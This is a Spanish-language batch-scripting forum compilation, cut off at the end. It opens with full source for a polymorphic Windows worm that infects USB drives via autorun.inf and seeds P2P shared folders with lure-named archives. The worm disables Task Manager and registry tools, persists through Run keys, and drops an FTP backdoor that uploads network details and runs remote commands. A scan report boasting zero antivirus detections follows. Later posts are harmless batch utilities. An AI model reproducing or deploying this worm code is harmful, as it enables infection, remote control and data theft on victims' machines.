Para ejecutar un comando el esa PC basta con crear un archivo del formato:
%username%at%userdomain%_cmd.t
conteniendo el/los comandos a ejecutar, si se ejecuto correctamente, el archivo "%username%at%userdomain%_cmd.t" sera eliminado automaticamente del servidor.
code:
:: 1l1l3l5.a // lil %ini%
:: Autor: lShadowl %ini%
:: SO Objetivo/Target OS: Windows Xp Pro %ini%
:: Propagation: P2P/rar, flash drives (it stay resident looking for new drives to infect) %ini%
:: Propagacion: P2P/rar, flash drives (queda residente en la memoria esperando que nuevos dispositivos se conecten para infectarlos) %ini%
:: Polimorfism: translocation, string morphing, 90-180 bytes added per every run %ini%
:: Polimorfismo: translocacion de codigo, mutacion de cadenas, 90-180 bytes mas cada ves que es ejecutado %ini%
:: Payload: Drops a FTP troyan that allows attacker to execute remote commands and scripts %ini%
:: Payload: Carga un troyano que le permite al atacante ejecutar comandos y scripts de manera remota via FTP %ini%
:: Fecha de creacion/Realese Date: 24/9/09 %ini%
:: Disclaimer: %ini%
:: This script contains malicious code. %ini%
:: Possessing, using, spreading, compiling and linking it, possessing, using and spreading %ini%
:: of the executable form of this script is illegal and it is forbidden in many countries. %ini%
:: Should you do such a thing, the author may not be held responsible for any damage that %ini%
:: occurred from the use of this source code. The actual purpose of this source code is for %ini%
:: educational purposes and as an object of study. This source code comes as is and the author %ini%
:: can not be held responsible for the existence of other modified variants of this code. %ini%
@%systemdrive% %ini%
@set sdjf=fictsoehnda %ini%
@set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
@%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
@%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
@%agnvl%mys=%windir%\system32\sysio\lil.bat %ini%
@%egnkv%off %ini%
%agnvl: =%local enabledelayedexpansion %ini%
@md %windir%\system32\sysio >nul %ini%
if not exist %mys% ( @copy /y %0 %mys% >nul %ini%
attrib +h %mys%) %ini%
call:_%1 %2 %ini%
exit %ini%
:_ %ini%
call:_h432crt perp %ini%
exit %ini%
:_mut %ini%
%fsdhf%"ini"<%mys%>%windir%\system32\sysio\$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<%windir%\system32\sysio\$>nul&&(goto:tst) %ini%
%fsdhf%"m%r: =%"<%mys%>>%windir%\system32\sysio\$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%>>%windir%\system32\sysio\$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call:cmp %%a %ini%
%egnkv%%a%|%fsdhf: =%str /C:"o" >nul&&(goto:rnd_b) %ini%
attrib -h %mys% %ini%
type %windir%\system32\sysio\$>%mys% %ini%
ping -n 2 localhost>nul %ini%
attrib +h %mys% %ini%
del /f /q %windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile("%mys%",1)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%askdajs=kdflekj.readall>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%kdflekj.close>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%Randomize>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%ahqiaohe=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%jdfasuu=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%dwudhqw=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%asdwdkw=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%sjdfhjs=Replace(askdajs,"sdjf",ahqiaohe)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%lasdaod=Replace(sjdfhjs,"agnvl",jdfasuu)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%skdnmxi=Replace(lasdaod,"egnkv",dwudhqw)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%sjsabwu=Replace(skdnmxi,"fsdhf",asdwdkw)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile("%mys%",2)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>%windir%\system32\sysio\asjdhau.vbs %ini%
start %windir%\system32\sysio\asjdhau.vbs %ini%
del /f /q %windir%\system32\sysio\h432.vbs,%windir%\system32\sysio\$&& exit %ini%
:_h432crt %m5%
%egnkv%%agnvl%xect=CREATEOBJECT("WSCRIPT.SHELL")>%windir%\system32\sysio\h432.vbs %m5%
%egnkv%xect.run "cmd /c %mys%%1", vbhide>>%windir%\system32\sysio\h432.vbs&& start %windir%\system32\sysio\h432.vbs&& goto :eof %m5%
:cmp %m7%
%fsdhf%"m%1"<%windir%\system32\sysio\$>nul %m7%
if %errorlevel%==1 (%agnvl% a=%a%o %m7%
goto:eof) %m7%
%agnvl% a=%a%x %m7%
goto :EOF %m7%
:rnd %m6%
%agnvl%/a r=%random%%%10 %m6%
goto:eof %m6%
:_perp %m1%
r%sdjf:~6,1%g %sdjf:~10,1%%sdjf:~9,1%%sdjf:~9,1% "HKCU\Softw%sdjf:~10,1%r%sdjf:~6,1%\Microsoft\Win%sdjf:~9,1%ows\Curr%sdjf:~6,1%ntV%sdjf:~6,1%rsion\Polici%sdjf:~6,1%s\%sdjf:~6,1%xplor%sdjf:~6,1%r" /v NoFol%sdjf:~9,1%%sdjf:~6,1%rOptions /t R%sdjf:~6,1%G_%sdjf:~9,1%WOR%sdjf:~9,1% /%sdjf:~9,1% "1" /f %m1%
r%sdjf:~6,1%g %sdjf:~10,1%%sdjf:~9,1%%sdjf:~9,1% "HKCU\Softw%sdjf:~10,1%r%sdjf:~6,1%\Microsoft\Win%sdjf:~9,1%ows\Curr%sdjf:~6,1%ntv%sdjf:~6,1%rsion\Polici%sdjf:~6,1%s\Syst%sdjf:~6,1%m" /v %sdjf:~9,1%is%sdjf:~10,1%bl%sdjf:~6,1%T%sdjf:~10,1%skMgr /t r%sdjf:~6,1%g_%sdjf:~9,1%wor%sdjf:~9,1% /%sdjf:~9,1% "1" /f %m1%
r%sdjf:~6,1%g %sdjf:~10,1%%sdjf:~9,1%%sdjf:~9,1% "HKCU\Softw%sdjf:~10,1%r%sdjf:~6,1%\Microsoft\Win%sdjf:~9,1%ows\Curr%sdjf:~6,1%ntV%sdjf:~6,1%rsion\Polici%sdjf:~6,1%s\Syst%sdjf:~6,1%m" /v %sdjf:~9,1%is%sdjf:~10,1%bl%sdjf:~6,1%R%sdjf:~6,1%gistryTools /t r%sdjf:~6,1%g_%sdjf:~9,1%wor%sdjf:~9,1% /%sdjf:~9,1% "1" /f %m1%
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v lilUpdate /t REG_SZ /d %mys%/f %m1%
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AvUpdate /t REG_SZ /d %windir%\system32\sysio\h42.vbs /f %m1%
del /q %windir%\system32\sysio\t.rar %m1%
%systemdrive%&& set rc=1 %m1%
if exist "%programfiles%\WINRAR\WinRAR.exe" (set r="%programfiles%\WINRAR\WinRAR.exe" %m1%
%r% a -ibck -y %windir%\system32\sysio\t.rar %mys: =% %m1%
if not %errorlevel%==9009 set rc=0) %m1%
for %%a in ("%userprofile%\Configuraci¢n local\Datos de programa\Ares\My Shared Folder\" "%userprofile%\Local Settings\Application Data\Ares\My Shared Folder\" "%programfiles%\eMule\Incoming\" "%programfiles%\Shareaza\Downloads\" "%programfiles%\BearShare\Shared\" "%programfiles%\LimeWire\Shared\") do (if exist "%%a" (cd "%%a" %m1%
for %%e in (*.rar) do (type !mys: =!>"%%~ne.bat" %m1%
ping -n 2 localhost >nul&& !r! a -ibck -y "%%e" "%%~ne.bat") %m1%
for %%g in ("XXX Photos" dvdrip glee "Keygen Constructor" wii psp "Keygen ALL" fringe surrogates "Nude Celebrities" "MSN hack codes" "Password list" "Activation tool" Windows7 "Windows 7 trucos" "Windows 7 tricks" "MSN Hack Tool" Photoshop "Photoshop CS4") do (type !mys: =!>%%g.bat %m1%
if !rc!==0 (ping -n 2 localhost>nul&& !r! a -ibck -y %%g.rar %%g.bat)))) %m1%
call:_h432crt fnid&& ping -n 12 localhost>nul %m1%
call:_h432crt dinfres&& ping -n 12 localhost>nul&& set ertr=9 %m1%
%fsdhf%"m%ertr: =%"<%mys%>%windir%\system32\sysio\fet.bat %m1%
ping -n 1 www.google.com>nul&&(if not exist %username%at%userdomain%_cmd.t ( %m1%
%egnkv%%agnvl%xect=CREATEOBJECT("WSCRIPT.SHELL"^)>%windir%\system32\sysio\h42.vbs %m1%
%egnkv%xect.run "cmd /c %windir%\system32\sysio\fet.bat", vbhide>>%windir%\system32\sysio\h42.vbs %m1%
%windir%\system32\sysio\h42.vbs)) %m1%
call:_h432crt mut&& exit %m1%
:_dinfres %m2%
%egnkv%%agnvl%xect=CREATEOBJECT("WSCRIPT.SHELL")>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%%agnvl%kjslras=GetObject("winmgmts:\\.\root\cimv2").ExecNotificationQuery _>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%("Select*From __InstanceOperationEvent Within 10 Where " _>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%^& "TargetInstance isa 'Win32_LogicalDisk'")>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Do While True>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%%agnvl%asdaiw=kjslras.NextEvent>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%If asdaiw.TargetInstance.DriveType=2 _>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Or asdaiw.TargetInstance.DriveType=3 Then>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Select Case asdaiw.Path_.Class>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Case "__InstanceCreationEvent">>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%wscript.sleep 2000>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%xect.run "cmd /c %mys%ddetc " ^& asdaiw.TargetInstance.DeviceId ^& " 1", vbhide>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%End Select>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%End If>>%windir%\system32\sysio\ubsh.vbs %m2%
%egnkv%Loop>>%windir%\system32\sysio\ubsh.vbs %m2%
taskkill /f /im wscript.exe %m2%
start %windir%\system32\sysio\ubsh.vbs&& goto :eof %m2%
:_fnid %m4%
for %%i in (C: H: I: J: K: L: M: Z: Y: X: W: V: U: T: S: R: Q: P: O: N: G: F: E: D:) do (call:_ddetc %%i) %m4%
exit %m4%
:_ddetc %m4%
if exist %1 (fsutil fsinfo drivetype %1|findstr /C:"CD" >nul&& (>nul echo.)|| (if exist %1\%sdjf:~10,1%utorun.inf ( %m4%
for %%z in ("%1\%sdjf:~10,1%utorun.inf" "%1\lil.bat") do (%sdjf:~10,1%ttrib -h -r -s -a "%%z") %m4%
ren %1\%sdjf:~10,1%utorun.inf %random%ow.ned) %m4%
echo.exit|cmd/K prompt $_[%sdjf:~10,1%utorun]$_open=lil.bat$_shellexecute=lil.bat$_; >"%1\%sdjf:~10,1%utorun.inf" %m4%
type "%mys: =%">"%1\lil.bat" %m4%
for %%z in (%1\%sdjf:~10,1%utorun.inf %1\lil.bat %1\*.ned) do (%sdjf:~10,1%ttrib +h "%%z"))) %m4%
if %2'==' (goto:eof) else (exit) %m4%
@%systemdrive% %m9%
@set sdjf=fictsoehnda %m9%
@set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %m9%
@%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %m9%
@%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %m9%
%agnvl: =%local enabledelayedexpansion %m9%
cd %windir%\system32\sysio %m9%
%agnvl%"target=%windir%\system32\sysio\" %m9%
ipconfig/all>%username%at%userdomain%_ipcfg.t %m9%
%egnkv: =%.exit|cmd/K prompt $_verbose$_open FTP.SERVER$_FTP.USER$_FTP.PASS$_cd FTP.TARGET.FOLDER$_verbose >$.t %m9%
%egnkv: =%.>mello.t&& call:r $.t exit ipcfgs.t %m9%
%egnkv: =%.exit|cmd/K prompt $_lcd "%target%"$_put %username%at%userdomain%_ipcfg.t$_ls -lF$_verbose$_quit$_rem >>ipcfgs.t %m9%
taskkill /f /im ftp.exe %m9%
ftp -s:ipcfgs.t %m9%
%egnkv: =%.>mello.t&& call:r $.t exit mello.t %m9%
%egnkv: =%.exit|cmd/K prompt $_lcd "%target%"$_get %username%at%userdomain%_cmd.t$_ls -lF$_verbose$_quit$_rem >>mello.t %m9%
:floop %m9%
taskkill /f /im ftp.exe %m9%
ftp -s:mello.t %m9%
if exist %username%at%userdomain%_cmd.t for /f "delims=" %%a in (%username%at%userdomain%_cmd.t) do (%agnvl%"rcmd=%%a" %m9%
if defined rcmd (cmd /c !rcmd! %m9%
if !errorlevel!==0 (%egnkv: =%.>"d.t"&& call:r $ exit "d.t" %m9%
%egnkv: =%.exit|cmd/K prompt $_delete !username!at!userdomain!_cmd.t$_ls -lF$_verbose$_quit$_rem >>"d.t" %m9%
taskkill /f /im ftp.exe %m9%
ftp -s:"d.t">nul&& del /q !username!at!userdomain!_cmd.t))) %m9%
goto:floop %m9%
:r %m9%
for /f "tokens=1,* delims=]" %%A in ('"type %1|find /n /v """') do (%agnvl%"current=%%B" %m9%
if defined current (call %agnvl%current=!!current:%2=!!&& %egnkv%!current!>>%3) else %egnkv: =%.>>%3) %m9%
goto:eof %m9%
:: %m0%
:: %m8%
Shadow:
Debido a posibles problemas al postear he subido el archivo en formato .txt a 1l1l3l5.a.txt
Y ps. . .el scan:
File Info
Report generated: 28.9.2009 at 19.25.46 (GMT 1)
Filename: 1l1l3l5.a.txt
File size: 11 KB
MD5 Hash: 7ab39a5929fa5dd09b38be6bd249fd4e
SHA1 Hash: 4492A228C7D2732DCACE25B2B73F3C6EEDC896CC
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23
Detections
a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
;D .
Efecto Codificador-Decodificador
En un momento de tanto ver la encriptacion se me dio la idea de encriptar el una
frase y que esta se viera en tiempo real encriptandose, pero como soy un poquito
dejado lo pospuse pero ya lo hice al fin JIJI, bueno es una encriptacion real,
no son solo numeros puestos hay y desencriptados otros sino son numeros q en
realidad se encriptan y se desencritan, con la variacion de q muestro la
encriptacion y decodificacion de la frase en el momento en que esta ocurre.
Nada mas, aca el code:@echo off ::^| nombre: Efecto Codificador-Decodificador ó ^ :: Effect Encrypt-Decrypt ::^| autor: Guerrerohgp ::^| fecha: 20/08/2009 ::^| codigo totalmente crado para ::^| diversas formas de uso, ::^| desde este efecto hasta ::^| la imaginacion de cada uno. ::^| Uso libre, no cambiar autor. title Efecto Codificador-Decodificador -HGP- setlocal enabledelayedexpansion color a&mode con cols=44 lines=10 :hgp set "cnt=9"&set "c=%random:~-2%" cls&echo.&set /p "cod=Su frase: " if not defined cod goto:hgp set "cod=%cod: =_%" cls&call:crypt call:decrypt :crypt for %%* in (a b c d e f g h i j k l m n o p q r s t u v w x y z _) do (set "ln=%%*"&call:enc) echo.&echo.Encriptado : &echo. echo. %cod2% echo.&echo. Press Key To Decrypt... pause>nul goto:eof :enc set "%cnt%=%ln%" set /a "cc=%cnt%+%c%" set "cod=!cod:%ln%=%cc% !" set "cod2=%cod%" set "cod2=!cod2: =!" set "cod2=!cod2:_= !" echo.%cod2% ping -n 2 localhost>nul set /a "cnt+=1" cls&goto:eof :decrypt for %%_ in (%cod%) do (set "dc=%%_"&call:ds) cls&set "cod2=!cod2:_= !" echo.&echo. Listo Desencriptado: &echo. echo. %cod2% pause>nul goto:hgp :ds cls&set /a "fn=%dc%-%c%" set "ll=!%fn%!" set "cod=!cod:%dc%=%ll%!" set "cod2=%cod% set "cod2=%cod2: =% set "cod2=!cod2:_= !" echo.%cod2% ping -n 2 localhost>nul goto:eof
PASS-CHAR BY -.: GUERREROHGP :.-
En esta ocacion se me ocurrio crear mi nuevo pass-char (character=simbolo)
lo k hace es guardar la pass en un variable y solo mostrar * en lo que deberia ser nuestra pass ;-), util por q sin eso solo mostraria nuesta pass al digitarla cosa q todos la verian.
uso el keyboard.
bueno nada mas que decir aca el code:
lo k hace es guardar la pass en un variable y solo mostrar * en lo que deberia ser nuestra pass ;-), util por q sin eso solo mostraria nuesta pass al digitarla cosa q todos la verian.
uso el keyboard.
bueno nada mas que decir aca el code:
esperando sus criticas xD.
@echo off title PASS-CHAR BY -.: GUERREROHGP :.- ::Coded BY Guerrerohgp mode con cols=35 lines=10 color f0&if not exist keyboard.exe ((echo.n keyboard.hgp&echo.e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF&echo.e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00 echo.e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21&echo.rcx&echo.002E&echo.w0&echo.q&echo.)>keyboard.hgp&type keyboard.hgp|debug&ren keyboard.hgp keyboard.exe)>nul 2>&1 :ini cls&echo.ERRORLEVEL:%errorlevel% LETRA:%let% &echo.&echo.PASS:%vart% echo.CHAR:%char% keyboard :fr if "[%errorlevel%]"=="[32]" (set "let=SPACE"&set "vart=%vart% "&set "char=%char%*"&goto:ini) if "[%errorlevel%]"=="[8]" (set "let=BACKSPACE"&if "[%char%]"=="[]" (goto ini) else (set "char=%char:~0,-1%") if "[%vart%]"=="[]" (goto ini) else (set "vart=%vart:~0,-1%") goto ini) if "[%errorlevel%]"=="[27]" exit set nums=48&for %%a in ( 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z) do (set let=%%a&call:nnn) set let=UNKNOWN&goto:ini :nnn if not "[%errorlevel%]"=="[%nums%]" (if "[%let%]"=="[9]" set nums=64 if "[%let%]"=="[Z]" set nums=96 set /a nums+=1&goto:eof) set vart=%vart%%let% set "char=%char%*" goto:ini
Batch Designer - by SmartGenius
smart-"Debido a la dificultad para poder utilizar la tecnica de Coordenadas que he usado en los Batch games, me di a la tarea de realizar un herramienta que permitiese "dibujar" de manera facil caracteres en pantalla, y despues portar estos mismos en el formato de coordenadas...
Aqui les presento el Batch Designer
Una especia de diseñador grafico (no como Paint o Photoshop, pero casi ) en el cual podran crear un Dibujo de X por Y y en el cual podran ir moviendose y poner los diferentes "Iconos" con los cuales se representarian Dibujos de Arte ASCII o para diseñar Niveles de Juegos Batch como el PushBox."
En el programa podran moverse libremente e ir modificando el Dibujo, una vez este listo presionan Enter y este sera exportado al formato de Coordenadas XY en un nuevo archivo BAT listo para usar.
Ejemplos:
GameDemo
CODE:
Codigo Resultante:
Código:
Aqui les presento el Batch Designer
Una especia de diseñador grafico (no como Paint o Photoshop, pero casi ) en el cual podran crear un Dibujo de X por Y y en el cual podran ir moviendose y poner los diferentes "Iconos" con los cuales se representarian Dibujos de Arte ASCII o para diseñar Niveles de Juegos Batch como el PushBox."
En el programa podran moverse libremente e ir modificando el Dibujo, una vez este listo presionan Enter y este sera exportado al formato de Coordenadas XY en un nuevo archivo BAT listo para usar.
@echo off @title Batch Designer - SmartGenius @::Coded by SmartGenius :Ck if not exist "keyboard.exe" (Goto :NoKey) :Menu setlocal enabledelayedexpansion cls echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo. º Batch Designer º echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ echo. echo. ÛßßÛßßßßßßßßßßßßßßÛ echo. Û1.Û Nuevo Dibujo Û echo. ÛßßÛßßßßßßßßßßßßßßÛ echo. Û2.Û Ayuda Û echo. ÛßßÛßßßßßßßßßßßßßßÛ echo. Û3.Û Salir Û echo. ßßßßßßßßßßßßßßßßßßß echo. keyboard if "%errorlevel%"=="49" (Goto :Load) if "%errorlevel%"=="50" (Goto :Help) if "%errorlevel%"=="51" (Goto :Exit) Goto :Menu :Load cls echo. echo. Introduzca las Dimensiones del Dibujo echo. set /p LimX="Ancho > " set /p LimY="Alto > " if not defined LimX Goto :Load if not defined LimY Goto :Load :Icon Set AsciiIcons= ±²ÛºÍɻȼ Set GameIcons= � °±²Ûþ Set Icons=%AsciiIcons% echo. Tipo de Iconos echo. echo. 1. Iconos ASCII : %AsciiIcons% echo. 2. Iconos Juegos: %GameIcons% echo. keyboard if "%errorlevel%"=="50" (Set Icons=%GameIcons%) :Init Set Cursor=þ Set Last=° set IniX=0 Set IniY=0 for /l %%i in (0,1,9) do (set Icon%%i=) for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( set X%%aY%%b=°)) set X0Y0=%Cursor% set CurPos=X0Y0 Goto :Graphic :Graphic Call :Clear echo. echo. Tablero de %LimX% por %LimY% Tecla [X] Volver al Menu echo. echo. Presione los Numeros del 0 al 9 para introducir un Icono echo. Presione la tecla Enter para Exportar el Dibujo a Coordenadas echo. set /p var="Iconos: "> "> if not defined filename set filename=BD_%random% Call :Template "%filename%" for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( if "!X%%aY%%b!"=="%Icons:~0,1%" set Icon0=!Icon0!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~1,1%" set Icon1=!Icon1!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~2,1%" set Icon2=!Icon2!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~3,1%" set Icon3=!Icon3!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~4,1%" set Icon4=!Icon4!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~5,1%" set Icon5=!Icon5!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~6,1%" set Icon6=!Icon6!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~7,1%" set Icon7=!Icon7!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~8,1%" set Icon8=!Icon8!,X%%aY%%b if "!X%%aY%%b!"=="%Icons:~9,1%" set Icon9=!Icon9!,X%%aY%%b )) echo. Coordenadas Generadas for /l %%n in (0,1,9) do ( if Defined Icon%%n ( echo. "!Icons:~%%n,1!" = !Icon%%n:~1! echo for %%%%a in ^(!Icon%%n:~1!^) do ^(Set %%%%a=!Icons:~%%n,1!^) >>%filename%.bat )) endlocal&set filename=%filename% echo.>>%filename%.bat echo :Graphic >>%filename%.bat echo Call :Clear >>%filename%.bat echo echo. >>%filename%.bat echo for /l %%%%d in ^(0,1,%%LimY%%^) do ^( >>%filename%.bat echo for /l %%%%e in ^(0,1,%%LimX%%^) do ^( >>%filename%.bat echo set Lin_%%%%d=!Lin_%%%%d!!X%%%%eY%%%%d!^)^) >>%filename%.bat echo for /l %%%%f in (0,1,%%LimY%%) do (echo. !Lin_%%%%f!) >>%filename%.bat echo echo.>>%filename%.bat echo pause >>%filename%.bat echo exit >>%filename%.bat echo. >>%filename%.bat echo :Clear >>%filename%.bat echo cls >>%filename%.bat echo for /l %%%%m in ^(0,1,%%LimY%%^) do ^(set Lin_%%%%m=^) >>%filename%.bat echo Goto :Eof >>%filename%.bat echo. echo. Archivo "%filename%.bat" Generado Correctamente... echo. pause Goto :Menu :Template echo @echo off >%~1.bat echo @title %~1 - Batch Designer >>%~1.bat echo ::Created with Batch Designer >>%~1.bat echo ::Coded by SmartGenius >>%~1.bat echo. >>%~1.bat echo setlocal enabledelayedexpansion >>%~1.bat echo. >>%~1.bat echo :Init >>%~1.bat echo Set LimX=%LimX% >>%~1.bat echo Set LimY=%LimY% >>%~1.bat echo for /l %%%%a in ^(0,1,%%LimX%%^) do ^( >>%~1.bat echo for /l %%%%b in ^(0,1,%%LimY%%^) do ^( >>%~1.bat echo set X%%%%aY%%%%b=°^)^) >>%~1.bat Goto :Eof :Clear cls for /l %%m in (0,1,%LimY%) do (set Lin_%%m=) Goto :Eof :Exit endlocal exit /b :NoKey cls echo. Cargando... call :keyboard ping -n 2 0.0.0.0 >nul Goto :Ck :keyboard ( echo n keyboard.dat echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00 echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21 echo rcx echo 002E echo w0 echo q echo. )>keyboard.dat type keyboard.dat|debug>NUL 2>&1 del /f/q/a "keyboard.exe">NUL 2>&1 ren keyboard.dat "keyboard.exe" Goto :Eof
GameDemo
CODE:
ASCII@echo off @title Game_Demo - Batch Designer ::Created with Batch Designer ::Coded by SmartGenius setlocal enabledelayedexpansion :Init Set LimX=10 Set LimY=10 for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( set X%%aY%%b=°)) for %%a in (X1Y1) do (Set %%a= ) for %%a in (X3Y5,X3Y7,X3Y9,X4Y6,X5Y5,X5Y7,X5Y9,X7Y2,X7Y9,X9Y4,X9Y6,X9Y9) do (Set %%a= ) for %%a in (X1Y2,X1Y3,X1Y4,X1Y5,X1Y6,X1Y7,X1Y8,X1Y9,X2Y4,X2Y5,X2Y6,X2Y7,X2Y9,X3Y1,X3Y4,X3Y6,X4Y1,X4Y4,X4Y5,X4Y7,X4Y9,X5Y1,X5Y4,X5Y6,X6Y1,X6Y4,X6Y9,X7Y1,X7Y4,X7Y5,X7Y6,X7Y7,X8Y1,X8Y2,X8Y3,X8Y4,X8Y7,X9Y2,X9Y3,X9Y7,X9Y8) do (Set %%a= ) for %%a in (X3Y2,X4Y2,X5Y2) do (Set %%a=°) for %%a in (X0Y0,X0Y1,X0Y2,X0Y3,X0Y4,X0Y5,X0Y6,X0Y7,X0Y8,X0Y9,X0Y10,X1Y0,X1Y10,X2Y0,X2Y1,X2Y2,X2Y3,X2Y8,X2Y10,X3Y0,X3Y3,X3Y8,X3Y10,X4Y0,X4Y3,X4Y8,X4Y10,X5Y0,X5Y3,X5Y8,X5Y10,X6Y0,X6Y2,X6Y3,X6Y5,X6Y6,X6Y7,X6Y8,X6Y10,X7Y0,X7Y3,X7Y8,X7Y10,X8Y0,X8Y5,X8Y6,X8Y8,X8Y9,X8Y10,X9Y0,X9Y5,X9Y10,X10Y0,X10Y1,X10Y2,X10Y3,X10Y4,X10Y5,X10Y6,X10Y7,X10Y8,X10Y9,X10Y10) do (Set %%a=Û) for %%a in (X9Y1) do (Set %%a=þ) :Graphic Call :Clear echo. for /l %%d in (0,1,%LimY%) do ( for /l %%e in (0,1,%LimX%) do ( set Lin_%%d=!Lin_%%d!!X%%eY%%d!)) for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!) echo. pause exit :Clear cls for /l %%m in (0,1,%LimY%) do (set Lin_%%m=) Goto :Eof
Codigo Resultante:
Código:
@echo off @title Scot_Team - Batch Designer ::Created with Batch Designer ::Coded by SmartGenius setlocal enabledelayedexpansion :Init Set LimX=30 Set LimY=8 for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( set X%%aY%%b=°)) for %%a in (X1Y0,X1Y1,X1Y2,X1Y3,X1Y4,X2Y0,X2Y4,X3Y0,X3Y4,X4Y0,X4Y1,X4Y2,X4Y3,X4Y4,X5Y0,X5Y4,X6Y0,X6Y2,X6Y4,X7Y0,X7Y1,X7Y2,X7Y3,X7Y4,X8Y0,X8Y4,X8Y5,X8Y6,X8Y7,X8Y8,X9Y0,X9Y4,X9Y6,X9Y7,X9Y8,X10Y0,X10Y1,X10Y2,X10Y3,X10Y4,X10Y8,X11Y0,X11Y2,X11Y3,X11Y4,X11Y6,X11Y7,X11Y8,X12Y0,X12Y4,X12Y5,X12Y6,X12Y7,X12Y8,X13Y0,X13Y2,X13Y3,X13Y4,X13Y8,X14Y0,X14Y1,X14Y2,X14Y3,X14Y4,X14Y8,X15Y4,X15Y5,X15Y6,X15Y7,X15Y8,X16Y4,X16Y8,X17Y4,X17Y7,X17Y8,X18Y4,X18Y8,X19Y4,X19Y5,X19Y6,X19Y7,X19Y8,X20Y4,X20Y8,X21Y4,X21Y6,X21Y7,X21Y8,X22Y4,X22Y6,X22Y7,X22Y8,X23Y4,X23Y8,X24Y4,X24Y5,X24Y6,X24Y7,X24Y8) do (Set %%a=±) for %%a in 